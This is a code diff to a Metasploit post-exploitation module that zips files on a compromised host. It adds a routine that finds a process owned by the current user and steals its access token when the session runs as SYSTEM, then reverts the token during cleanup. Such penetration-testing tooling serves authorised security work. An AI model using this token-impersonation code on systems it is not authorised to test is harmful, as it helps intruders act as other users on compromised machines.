|
8 | 8 | class MetasploitModule < Msf::Post
|
9 | 9 |
|
10 | 10 | include Msf::Post::File
|
| 11 | + include Msf::Post::Windows::Priv |
11 | 12 |
|
12 | 13 | def initialize(info={})
|
13 | 14 | super(update_info(info,
|
@@ -44,7 +45,48 @@ def vbs(dest, src)
|
44 | 45 | vbs_file
|
45 | 46 | end
|
46 | 47 |
|
| 48 | + def find_pid_by_user(username) |
| 49 | + computer_name = get_env('COMPUTERNAME') |
| 50 | + print_status("Searching for PID for #{computer_name}\\\\#{username}") |
| 51 | + session.sys.process.processes.each do |p| |
| 52 | + if p['user'] == "#{computer_name}\\#{username}" |
| 53 | + return p['pid'] |
| 54 | + end |
| 55 | + end |
| 56 | + |
| 57 | + nil |
| 58 | + end |
| 59 | + |
| 60 | + def steal_token |
| 61 | + current_user = get_env('USERNAME') |
| 62 | + pid = find_pid_by_user(current_user) |
| 63 | + |
| 64 | + unless pid |
| 65 | + fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs") |
| 66 | + end |
| 67 | + |
| 68 | + print_status("Stealing token from PID #{pid} for #{current_user}") |
| 69 | + begin |
| 70 | + session.sys.config.steal_token(pid) |
| 71 | + rescue Rex::Post::Meterpreter::RequestError => e |
| 72 | + # It could raise an exception even when the token is successfully stolen, |
| 73 | + # so we will just log the exception and move on. |
| 74 | + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") |
| 75 | + end |
| 76 | + |
| 77 | + @token_stolen = true |
| 78 | + end |
| 79 | + |
47 | 80 | def upload_exec_vbs_zip
|
| 81 | + if is_system? |
| 82 | + unless session |
| 83 | + print_error('Unable to decompress with VBS technique without Meterpreter') |
| 84 | + return |
| 85 | + end |
| 86 | + |
| 87 | + steal_token |
| 88 | + end |
| 89 | + |
48 | 90 | script = vbs(datastore['DESTINATION'], datastore['SOURCE'])
|
49 | 91 | tmp_path = "#{get_env('TEMP')}\\zip.vbs"
|
50 | 92 | print_status("VBS file uploaded to #{tmp_path}")
|
@@ -78,7 +120,18 @@ def linux_zip
|
78 | 120 | do_zip
|
79 | 121 | end
|
80 | 122 |
|
| 123 | + def cleanup |
| 124 | + if @token_stolen && session |
| 125 | + session.sys.config.revert_to_self |
| 126 | + print_status('Token restored.') |
| 127 | + end |
| 128 | + |
| 129 | + super |
| 130 | + end |
| 131 | + |
81 | 132 | def run
|
| 133 | + @token_stolen = false |
| 134 | + |
82 | 135 | os = get_target_os
|
83 | 136 | case os
|
84 | 137 | when Msf::Module::Platform::Windows.realname.downcase
|
|
0 commit comments